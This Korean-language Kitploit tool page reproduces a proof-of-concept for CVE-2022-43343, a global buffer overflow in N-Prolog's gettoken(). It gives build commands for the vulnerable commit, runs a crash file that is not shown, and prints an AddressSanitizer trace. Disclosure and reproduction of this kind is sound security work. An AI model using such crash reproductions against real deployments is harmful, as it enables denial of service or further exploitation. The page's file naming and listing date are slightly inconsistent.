Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-43343 — (CVE-2022-43343)에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/halcy0nic/cve-2022-43343
Vulnerability AnalysisExploitationDebuggersFuzzingLearning & EducationBinary Exploitation
GitHubhalcy0nic/cve-2022-43343

CVE-2022-43343

(CVE-2022-43343)에 대한 개념 증명

저장소 보기
13년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-43343에 대한 설명

N-Prolog v1.91에서 Main.c의 gettoken() 함수에 전역 버퍼 오버플로 취약점이 발견되었습니다.

재현

취약점을 재현하려면 취약한 버전의 N-Prolog(v1.91)를 다운로드하고 프로젝트를 컴파일합니다:

root@kitploit:~
git clone https://github.com/sasagawa888/nprolog.git
cd nprolog
git checkout ae7cc9bf6087cfcb57baadbe59f5005c6dc0f09c
make

프로젝트가 컴파일되면 이 저장소에 포함된 PoC(Proof of Concept) 파일(CVE-2022-43343_crash)을 N-Prolog에 전달할 수 있습니다:

root@kitploit:~
./npl -s CVE-2022-43343_crash

위 명령은 크래시를 일으키고 오류 메시지를 반환합니다:

root@kitploit:~
segmentation fault  ./npl -s CVE-2022-43343_crash

크래시가 발생하는 위치를 더 잘 이해하기 위해 Makefile의 CFLAGS와 LIBS 변수에 -fsanitize=address를 추가하여 프로젝트를 ASAN(AddressSanitizer)으로 다시 컴파일합니다. 또한 컴파일러가 실행 파일에 심볼 테이블 정보를 저장하도록(-g 플래그) 하여 어떤 코드 줄이 크래시를 발생시켰는지 확인하는 데 도움을 줍니다:

root@kitploit:~
CC   = gcc
LIBS = -lm -ldl -fsanitize=address


LIBSRASPI = -lm -ldl -lwiringPi -fsanitize=address -g
INCS =  
CFLAGS = $(INCS) -Wall -O3 -fsanitize=address
DEST = /usr/local/bin

이제 오래된 파일을 정리하고 프로젝트를 다시 컴파일합니다:

root@kitploit:~
make clean
make

악성 파일을 대상으로 npl을 스크립트 모드로 실행합니다:

root@kitploit:~
./npl -s CVE-2022-43343_crash

ASAN은 parser.c 1022행의 gettoken() 함수에서 전역 변수에 대한 크기 1의 잘못된 쓰기를 보고합니다:

root@kitploit:~
==291696==ERROR: AddressSanitizer: global-buffer-overflow on address 0x56107f6d54b0 at pc 0x56107f651925 bp 0x7ffc7a408e10 sp 0x7ffc7a408e08
WRITE of size 1 at 0x56107f6d54b0 thread T0
    #0 0x56107f651924 in gettoken /dev/shm/nprolog/parser.c:1022
    #1 0x56107f656924 in parser /dev/shm/nprolog/parser.c:40
    #2 0x56107f6624ca in b_consult /dev/shm/nprolog/builtin.c:1561
    #3 0x56107f642d72 in main /dev/shm/nprolog/main.c:276
    #4 0x7f8c85646189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7f8c85646244 in __libc_start_main_impl ../csu/libc-start.c:381
    #6 0x56107f6432c0 in _start (/dev/shm/nprolog/npl+0x162c0)

0x56107f6d54b0 is located 48 bytes to the left of global variable 'record_pt' defined in 'main.c:24:5' (0x56107f6d54e0) of size 4
0x56107f6d54b0 is located 0 bytes to the right of global variable 'stok' defined in 'main.c:27:7' (0x56107f6d53a0) of size 272
SUMMARY: AddressSanitizer: global-buffer-overflow /dev/shm/nprolog/parser.c:1022 in gettoken
Shadow bytes around the buggy address:
  0x0ac28fed2a40: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
  0x0ac28fed2a50: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
  0x0ac28fed2a60: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
  0x0ac28fed2a70: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ac28fed2a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ac28fed2a90: 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 04 f9 f9 f9
  0x0ac28fed2aa0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ac28fed2ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ac28fed2ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ac28fed2ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ac28fed2ae0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==291696==ABORTING

참조

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-43343
  • https://learn.microsoft.com/en-us/cpp/sanitizers/error-global-buffer-overflow?view=msvc-170
도구 다운로드